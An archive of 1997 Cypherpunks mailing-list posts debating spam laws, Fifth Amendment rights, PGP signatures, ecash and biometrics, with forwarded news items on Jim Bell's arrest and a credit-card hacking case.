> Fast scam out, the jack-booted thugs will come and haul you away faster
> than I can send out your e-mails."  But then he'd have no business at all!

Wallace may be prosecuted, I think it would be wrong if he was. Even if 
you believe that Wallace does something that is unethical you must admit 
that if he were succesfully prosecuted it would send the message that a 
form of speech can be legislated against and prosecuted in court.

> I'm not trying to claim that Mr. Wallace does or does not have the right to
> speak to us.  I simply want to point out that there is real monetary loss
> to the real victims of his spamming.

Yes, but they can prevent this monetary loss. To give another flawed but 
illustrative paradigm you might come up to me in the street and say "give 
me your money", if I refuse and you hit me and take my money you have mugged 
me, if I refuse and continue walking, and you take no violent action against
me, you have done nothing wrong.

I admit what Wallace does is unpleasant, but it is not immoral or 
unethical from my point of view. If you could not prevent the monetary 
loss caused by his speech then I would think differently, but you can, 
and that is the bottom line.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 10:50:30 +0800
To: gbroiles@netbox.com>
Subject: Re: Spam laws threaten remailers?
Message-ID: <199705230233.TAA13174@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 22 May 97 at 15:25, Greg Broiles wrote:

> Both of the anti-spam bills that I've seen (CAUCE and Murkowski's)
> are poorly drafted - they're both overbroad and underinclusive. I
> don't think they're necessarily constitutionally "overbroad", but
> they haven't been written by people with a good understanding of the
> technical issues.
> 
> As I read both bills, they'll prohibit behavior pretty universally
> considered legitimate - e.g., including a link to a web site in your
> .signature which happens to sell a product or service, for example.

This is really going too far!!!  I was told, when I first got 
on-line, that this was a "polite" way to get your product or service 
out there, without spamming.  By posting on-topic replies to usenet 
and high traffic mailing lists, like this one...  Shit, I hate this 
"one bad kid gets the rest of the class in trouble" mentality.  I am 
really pissed at this whole issue and the goverment trying to get 
it's grubby paws on the net any way they can!

I am also irked at the public's desire for this government 
intervention.
 
> I think it'd make more sense to solve this problem technically,
> and/or carefully think about the legal framework appropriate for
> governing the flow of data between computers. (There are also sticky
> First Amendment issues here.)

You got that right.
 
> Ugh.
> 

Arrrrgh.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 09:50:53 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: "You have the right to remain silent" (fwd)
Message-ID: <199705230103.UAA18097@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Thu, 22 May 1997 15:08:27 -0400
> To: "Willaim H. Geiger III" <whgiii@amaranth.com>, cypherpunks@toad.com
> Subject: Re: "You have the right to remain silent"

> they can't order you to talk to them.  They can arrest you with probable
> cause 
> and detain you briefly for purposes of investigation.

They can arrest you at will w/ or w/o probable cause. If they can't produce
probable cause at your hearing then a writ of habeas corpus comes into play.

They can't CHARGE you without probable cause, minor but important
distinction. As I understand it, the charges that are recorded when you
first go to the police station are not 'official' until your hearing and
a judge signs the paperwork.

The police can even arrest you as a witness or for 'protective custody'
and then even the habeas corpus gets murky because no charges are filed.
If they can convince a judge to go along they can even hold you in
communicado.

>  They can ask you for 
> your name and you may have to supply it,

According to the 5th(?) Federal District you don't even have to do that unless
you are driving a vehicle or otherwise operating under a public license.

> Since cops are not judges,

This particular point if kept in mind changes the interpretation of the
Constitution considerably. It also puts such actions as making it illegal
for citizens to own assault weapons but the police can questionable since
the constitution does not draw a distinction between law enforcement and the
citizenry, as it does with the judicial, legistlative and executive bodies.
It therefore follows that if I as Joe Citizen can't do it then a police
officer can't either since they have no constitutional rights that I don't
and the 10th Amendment prohibits expansion of federal power (and by
extension of the 14th, states) by anything other than that proscribed in the
constitution.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:28:42 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent" (fwd)
Message-ID: <199705230132.UAA18166@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Willaim H. Geiger III" <whgiii@amaranth.com>
> Date: Thu, 22 May 97 08:46:56 -0500
> Subject: Re: "You have the right to remain silent"

> 1) Under the 5th Amendment one is not required to give any assistance to
> the police in a criminal investegation.

Not exactly true. The police can take various body samples and other
'physical characteristics' (eg hand writing) for determination of issues
involved in a case without you being able to refuse under the 5th. Also, if
you are not being accussed of any crime then the 5th can't protect you,
unless you want to admit tacit involvment in some criminal activity. Which I
am sure to some mindsets is sufficient probable cause.

In many states, such as Texas, citizenry are required by law to report any
commission of a felony. Not doing so can itself be a felony.

Most swords cut both ways...

An interesting aspect of the 5th and physical sample taking is the way the
line is drawn between what is permitted and what isn't. Historicaly it has
been just fine for a cop to shove his finger down your throat to grab that
black molly but verboten to pump your stomach. It is generaly felt that
pumping your stomach is 'too' invasive. What I would like to know is what is
the record since that ruling of the farthest down somebodies throat
evidence has been legaly removed from and beyond which its legitimacy is
consistently denied.

Interesting issue regarding fingerprints for drivers license and the 5th
that has to my research remained untested is that the fingerprints were
taken while under no suggestion of wrongdoing and with no Miranda. Yet these
can be used as evidence in criminal cases even at the federal level. Now it
might be argued that if not explicitly stated there is an implicit contract
with the state government and the individual regarding the use in criminal
proceedings. But since the 14th does not work in reverse there can not be
any implicit federal contract. Can the interstate commerce clause be
extended to this?

> 2) That the Ramsey's were prime suspects after 48hrs and no suspect was
> found.

They were prime suspects the moment the operator answered the 911 line.

> 3) That this was SOP for the LEA's to go after family members/friends of a
> murder victim even though, on average, 1/3 of murders in the US are
> commited by strangers and this figure is incresing.

Meaning that 66% of the time they will get the culprit. Sounds like a good
strategy to me for clearing 66% of the cases quickly.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 23 May 1997 08:53:59 +0800
To: Mark Grant <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007802afaa392f215b@[207.167.93.63]>
Message-ID: <3.0.2.32.19970522203625.03fffe64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 10:09 AM 5/22/97 -0700, Mark Grant wrote:
>
>Sure, I was talking in general; my point only applies to those who make
>more 'government approved' posts than 'dangerous' ones. Of course there's
>still no guarantee that next year I won't be presented with an old signed
>post about something which was innocuous and is now hideously illegal.

So far in my close observation of the history of American jurisprudence I 
haven't seen too many written things that were legal at one point and later 
became (criminally) illegal.  I've never seen someone punished criminally (in 
violation of the Constitution's ban on ex post facto laws) for past speech 
that became retroactively illegal.

Some people have been sued and suffered financially for speech or writing that 
had been "legal" and became "illegal" at some indeterminate time (racism, 
sexism, bigotry, and homophobia par exaple) but examples of criminal 
prosecution are much harder to think of.

There is the "hate speech" sentence enhancement to other crimes (beat up an 
old lady for kicks and serve time for assault beat up an old lady while saying 
unkind things about women and serve time for assault + hate speech).  Certain 
kiddie porn definitions changed as well but I didn't see any ex post facto 
repeals in there.  As long as you said/published stuff before it was illegal, 
you were OK.

On the other hand, I've seen loads of things that used to be illegal to 
say/publish legalized over the years though most of them were civil rather 
than criminal matters to begin with.

I've also seen plenty of cases (Jake Baker, Phil Zimmerman, the SEC vs the 
Financial Newsletters, the CDA) in which I knew in advance that the case was 
dead meat as soon as it got to an appeals court (or before).  Those pure 
speech cases (in the absence of filthy pictures) are the easiest ones to win.

I always encourage those arrested in such cases to take a hard line and abuse 
the prosecutors with the unwinnability of their cases.  If you've got it, 
flaunt it.

Jim Bell may do some time for tax evasion but they could have got him on that 
at any time.  He won't be doing any time for publishing AP.  

And we won't be doing any time for what we say on this list.

DCF

"I win $20 if the CDA vote is 8-1 or 9-0."
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 23 May 1997 11:57:58 +0800
To: cypherpunks@algebra.com
Subject: More stories from the Bell jar...
Message-ID: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----



This story is from the Oregonian May 22, 1997 Page D3:

Arrest solves mystery of law office stink bomb

A federal investigation that led to the arrest of James Dalton Bell 
of Vancouver appears to have solved a longtime mystery regarding a 
stink bomb attack in a downtown Portland law office.

In late April 1984, someone broke into law offices at 1123 S. W. 
Yamhill St. and poured a liquid on a hallway run that was so 
odorous it made at least one of the lawyers who smelled it vomit 
twice.

At the time, Nick Albrecht, who still practices law there, said the
skunklike scent, called mercaptan, was so overpowering that he had 
to go home because he could not stop gagging.

The target of the stink bomb attack was lawyer C. Douglas Oliver, 
who now lives in Southern California and won't discuss the incident.

Bell was arrested Friday on a federal complaint charging him with 
obstructing and impeding the Internal Revenue Service and the use 
of false Social Security numbers.  The complaint said that documents 
found on Bell's computer boasted of the mercaptan attack on the office
of a Portland lawyer who had sued him.

The lawyer was Oliver. Albrecht said Oliver had suspected that Bell
might have been behind the mercaptan attack, but could never prove it.

The federal complaint also charged Bell with the March 16 mercaptan 
attack on the IRS offices in the federal office building in Vancouver.
On the following day, when employees returned to work after the 
weekend, several of them had to be placed on leave because the smell 
was so powerful, the complaint said.


-----BEGIN PGP SIGNATURE-----
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Charset: noconv

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TPGni0IRhODol5swhZlKAklK7si548Unm90o2o+Lg3JvFqg0SQs/Vg==
=7KT2
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:34:52 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: "You have the right to remain silent" (fwd)
Message-ID: <199705230147.UAA18179@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Wed, 21 May 1997 19:03:11 -0800
> From: Tim May <tcmay@got.net>
> Subject: "You have the right to remain silent"

> >The 5th is meant to apply ONLY to persons being accussed of a crime, it is
> >not nor was it ever meant to protect non-accussed persons from turning over
> >evidence of criminal acts.
> 
> So you are saying the police may compel any and all information from
> someone just so long as that person has not been formally accused of a
> crime?

If they ask you questions regarding the commission of a crime the 5th will
not protect you unless you were involved. The flip side to this that
protects this 'hole' from being catastrophic is that you don't have to talk
to the police at all unless accussed of a crime. They most certainly can
take physical evidence from 3rd parties (ie hostile witnesses) which they
believe are involved in some manner with the crime (ie entering your
apartment to track the path of a bullet in the hopes of retrieving it).
Refusing to answer the questions of the prosecutor while under oath has its
own consequences. What really keeps it from getting out of hand is the cost
of interviewing and calling all possible witnesses to some crime. Just
imagine calling everyone on the floor of a murder as SOP.

> The Miranda precedent ("you have the right to remain silent...")
> establishes that someone under arrest may remain silent. And someone _not_
> under arrest is under no obligation to cooperate, unless subpoenaed, right?

As I understand it that is correct.

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

If they are truly innocent, what could they possibly have to say other than
"Please find the killer of our daughter" and "We didn't do it." Innocent
people have little to say, the guilty need to convince us of their
innocence.

"Me thinks he protest too much."

                I have no idea



                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Wilson <0005514706@mcimail.com>
Date: Fri, 23 May 1997 10:10:03 +0800
To: cypherpunks <cypherpunks@algebra.com>
Subject: Use a cipher, go to jail
Message-ID: <97052301491003/0005514706DC4EM@mcimail.com>
MIME-Version: 1.0
Content-Type: text/plain


Follow the link:
http://www.nando.net/newsroom/ntn/info/052297/info24_9595.html
---------------------------------------------------------------------------

FBI says hacker sold 100,000 credit card numbers
---------------------------------------------------------------------------

Copyright ) 1997 Nando.net
Copyright ) 1997 The Associated Press

SAN FRANCISCO (May 22, 1997 9:13 p.m. EDT) -- A clever hacker slipped into
a major Internet provider and gathered 100,000 credit card numbers along
with enough information to use them, the FBI said Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak," allegedly
inserted a program that gathered the credit information from a dozen
companies selling products over the Internet, said FBI spokesman George
Grotz.
----
Said hacker used a sniffer to gather the numbers, and as part of the
process, he encrypted the database he sold to an undercover agent.
Anyone care to take any bets on whether he shows up as a case for the
'use a cipher to commit a crime' argument?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 10:56:36 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Police & military access
Message-ID: <199705230204.VAA18264@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

It occured to me that if the police have no civil liberties extending beyond
that of a citizen and citizens are not legaly permitted access to military
hardware then neither should the police.

If this applied then it would not be legal for police to have access to any
sort of communication or encryption technology that was not available to the
normal citizen.

If a police officer can buy body armor and automatic weapons for self
defence then so can a citizen.

If a police officer can search a suspect for weapons "to protect their person"
and confiscate or otherwise remove them from the immediate vicinity then a
normal citizen should require a police officer to do the same. In other
words, once it is established that the suspect is not armed the police
officer should be required to place their weapon in their vehicle or
othewise secure it off their person.

etc.

etc.

So, the question of the hour is:

Do police have any civil rights not endowed to a individual citizen?



                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com

                                      





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 23 May 1997 12:47:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <v03102802afaaccbbaf8f@[17.219.103.183]>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>I want to expand on one of the points I just made. As I think about the
>issue more, the more I see signings of posts as being more of a help to my
>enemies (prosecutors, in this context) and less of a help to my friends.

I would assume that, if they're interested in your postings, they'll
record them at the source, either by tapping your phone or wiretapping
your house. In that case, signing your postings would make it more
difficult to forge a posting with your name on it. On the other hand,
if they break your private key's password, you're in bigger trouble.

>
>I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
>a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
>I may (or may not) start auto-signing all e-mail. (Gulp.)

PGP is coming soon. In the meantime, you can use FileCrypt, which
works well with Eudora on the Mac (I'm running it under an 8.0 beta
without problems). There's a time-limited demo version at
<http://www.highware.com> It is not encumbered by export control.

Martin.

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nXBdc50UJWE=
=P/ni
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 23 May 1997 11:19:10 +0800
To: cypherpunks@einstein.ssz.com
Subject: index.html
Message-ID: <199705230231.VAA18388@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain


   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Samsung. Meeting the challenge. 
   
     rule
     
                    WOMAN TRIES TO SELL KIDNEY TO PAY BILL
                                       
      sparrow May 22, 1997
     Web posted at: 10:59 a.m. EDT (1459 GMT)
     
     ST. PETERSBURG, Florida (CNN) -- Faced with a $25,000 bill for gall
     bladder surgery, a Florida woman placed an ad in a local newspaper
     to sell her kidney to cover the surgery. But there's a big problem
     with her plan: It's illegal.
     
     "KIDNEY Runs good, Taking offers. $30,000/obo," read the
     advertisement in this week's St. Petersburg Times.
     
     Ruth Sparrow isn't joking either. She has been drinking buckets of
     water for more than two months to clean out the organ, prepping it
     for donation.
     
     "I'm not doing it for a profit," she told CNN-affiliate WTVT in
     Tampa. "You're trading a damn kidney for a gall bladder." icon
     (85K/6 sec. AIFF or WAV sound)
     
     Sparrow, a 55-year-old nurse, said she told doctors before the
     surgery that she would be unable to pay the bill and offered to pay
     the bill by donating her kidney. The offer was refused, she said.
     movie icon (331K/28 sec. QuickTime movie)
     
     Federal and state laws prohibit anyone from offering buy or sell a
     human organ or tissue. In Florida, the offense is a second-degree
     felony. medical.center
     
     Jean Layne of Lifelink of Florida, a tissue recovery organization,
     explained that the reason for the law is "not to disadvantage
     families who do not have a lot of money, allowing everyone equal
     access to transplantation."
     
     Bayfront Medical Center, where the gall bladder surgery was
     performed, was stunned when notified of the ad. It said Sparrow owes
     about $17,000 on the bill and that the medical center is "trying to
     get her qualified for some type of assistance."
     
     Sparrow dropped her medical insurance four years ago because she
     could not afford the $4,000-a-year premium.
     
     She said it's unfair that taxpayers pick up the tab for criminals'
     medical expenses, while she could get punished for her tactic. icon
     (145K/12 sec. AIFF or WAV sound) She also emphasized that she did
     not know it was illegal to run the ad.
     
     "I just want to live in my own little hovel and pay my bills like
     everybody else," she said. "I don't want to owe anybody."
     
     From CNN-affiliate WTVT Reporter Stan Jayson  
     rule CNN Plus 
     * Consumer News - Fitness and Health
       
  Related story:
  
     * Florida man offers to 'lease' a kidney - April 2, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * The St. Petersburg Times
     * Bayfront Medical Center
     * United Network for Organ Sharing Transplantation Information Site
     * American Share Foundation - organ donation and transplantation
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 23 May 1997 13:00:30 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: More stories from the Bell jar...
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <3.0.2.32.19970522214626.00b356c0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 11:11 PM 5/22/97 -0500, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>, on 05/22/97 
>   at 08:43 PM, Alan Olsen <alan@ctrl-alt-del.com> said:
>
>>Bell was arrested Friday on a federal complaint charging him with 
>>obstructing and impeding the Internal Revenue Service and the use  of
>>false Social Security numbers.  The complaint said that documents  found
>>on Bell's computer boasted of the mercaptan attack on the office of a
>>Portland lawyer who had sued him.
>
><sigh> I would have thought that Jim would be smarter than leaving such
>info on his computer unencrypted. I find it equally troubling that he
>would put such info in "writting" to begin with.
>
>Ofcource since no inventory was done of the documents contained on his HD
>the FEDS could plant anything that they wanted with little hope of proving
>that they did.

This is one of the few stories out of the whole mess that I do believe.

I was told about the above incident over a year ago by a friend who has known 
Jim for many years.

>I'm not quite sure how one could counter against such an attack. Even if
>one stored all documents in an encrypted partition there are still
>protions of the HD that the OS will require to be unencrypted. Perhaps
>have a boot disk that would decrypt the OS section of the HD then boot the
>OS off the HD which then would use a crypto IFS to accesses the remainder
>of the drive. Even going to these lenghts they could just put what they
>wanted on a floppy and claim that they "found" it.

It is my understanding that Jim did not encrypt his hard drive at all.  (Jim 
was not all that experienced as a computer user.  (By his own admission.  At 
least what he said the time I met him.))

If the feds has stuck to the stink bomb story, it would have been alot more 
plausable.  But the "poisoning the bullrun" and "911" stuff is a bit far 
fetched for Jim.  It does not fit the way he thinks.

>I guess the only *real* solution is to get rid of the thugs.

Easier said than done...


-----BEGIN PGP SIGNATURE-----
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Charset: noconv

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---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 23 May 1997 12:58:06 +0800
To: Robert Hettinga <whgiii@amaranth.com>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
Message-ID: <199705230442.VAA15291@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 22 May 97 at 13:11, William H. Geiger III wrote:

> If given the choice between 2 evils of receiving Spamford
> Cyber-momo's crap or going to a metered rate INet I choose Spamford
> as the second will not get rid of him.

There we go!  The all American strive for compromise.  Yet, very few 
people are willing to compromise on this issue, for some reason.  I'd 
like for more people just give it up and come to the realization 
that the INet is going to be commercial, and no laws can stifle the 
commerce that goes on here.  Or stop Spam.  

Ross


=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Fri, 23 May 1997 13:31:15 +0800
To: Adam Back <cypherpunks@algebra.com
Subject: Re: ecash & remailers
In-Reply-To: <199705221703.SAA02054@server.test.net>
Message-ID: <3.0.2.32.19970522221830.00694e68@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:03 PM 5/22/97 +0100, Adam Back wrote:
>
>To stop this, the sender should discard the blinding values, thereby
>removing his ability to be later coerced, or to later trace the
>recipient of his cash.
>
>Is there a way to purge blinding values from the ecash directory?
>

Coins are removed from the cash db when they are paid out. They are then
stored in the payments db along with the payment headers, etc. The blinding
factors are not stored once the coins have been paid. Regardless, removing
the payments db will not cause any ill effect (that I have noticed, except for
the obvious loss of payment records), so you can do that anyway if you like.

(Note, this is based on a hex dump of the payments db, so it's possible I'm 
wrong. Anyone from Digicash who knows otherwise, please correct me.)

Jeremey.

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-----END PGP SIGNATURE-----

--
Jeremey Barrett                                  VeriWeb Internet Corp.
Crypto, Ecash, Commerce Systems                 http://www.veriweb.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 23 May 1997 10:53:48 +0800
To: cypherpunks@toad.com
Subject: V-Chips for the Internet
Message-ID: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A White House press briefing today describes Clinton's
plan for providing V-chips for parents to control childrens'
access to the Internet. Technology is being developed for 
that purpose.

   http://jya.com/wh052297.txt

Quote:

                MS. LEWIS: It's our understanding, and we just checked
this with people at the White House who know much more about 
technology than all of us put together, that there is in fact technology 
being developed that would serve as the equivalent of a V-chip for the
Internet, and we think that's what the President referred to.

                Q Clinton has talked before about giving parents ways to
protect their children on the Internet, but has he ever before suggested
the idea of a V-chip for the Internet?

                MS. LEWIS:  Not that we know of, but we know -- as is
clear, I think, from his wording, he is aware that the technology has
been developing.

End quote.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:18:06 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230408.XAA32582@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


plz do not use bcc

igor

----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:32 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:22:23 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32615@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:33 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Fri, 23 May 1997 12:25:38 +0800
To: cypherpunks@manifold.algebra.com
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
Message-ID: <199705230409.XAA32644@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Adam Shostack -----

>From cpunks@manifold.algebra.com  Thu May 22 13:12:34 1997
From: Adam Shostack <adam@homeport.org>
Message-Id: <199705221736.NAA17266@homeport.org>
Subject: RFC 2144 on CAST-128 Encryption Algorithms (fwd)
To: coderpunks@toad.com (The Coderpunks list)
Date: Thu, 22 May 1997 13:36:16 -0400 (EDT)
X-Mailer: ELM [version 2.4ME+ PL27 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk

I hadn't seen this mentioned.  This is to coderpunks, bcc'd to
cypherpunks & cryptography.

Adam


------

A new Request for Comments is now available in online RFC libraries.


        RFC 2144:

        Title:      The CAST-128 Encryption Algorithm
        Author:     C. Adams
        Date:       May 1997
        Mailbox:    cadams@entrust.com
        Pages:      15
        Characters: 37532
        Updates/Obsoletes: None

        URL:        ftp://ds.internic.net/rfc/rfc2144.txt


There is a need in the Internet community for an unencumbered 
encryption algorithm with a range of key sizes that can provide 
security for a variety of cryptographic applications and protocols.  
This document describes an existing algorithm that can be used to 
satisfy this requirement.

This memo provides information for the Internet community.  This memo
does not specify an Internet standard of any kind.  Distribution of
this memo is unlimited.



----- End of forwarded message from Adam Shostack -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Fri, 23 May 1997 14:36:57 +0800
To: cypherpunks@toad.com
Subject: Re: New Chip Verifies Fingerprints (fwd)
In-Reply-To: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
Message-ID: <19970522230945.17501@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, May 23, 1997 at 12:27:28AM -0400, Decius 6i5 wrote:
> > Veridicom, a spinoff of Lucent Technologies, just demoed (at
[...]
> 
> If I get mugged and the mugger wants access to my bank account all he has
> to do is chop off the relevant finger. Don't laugh. This *WILL* happen.
> Biometrics create an general economic incentive for maiming or murdering
> people.

I'm not so sure that this is realistic.  I have heard that earlier
fingerprint reading cards were very sensitive to size distortion --
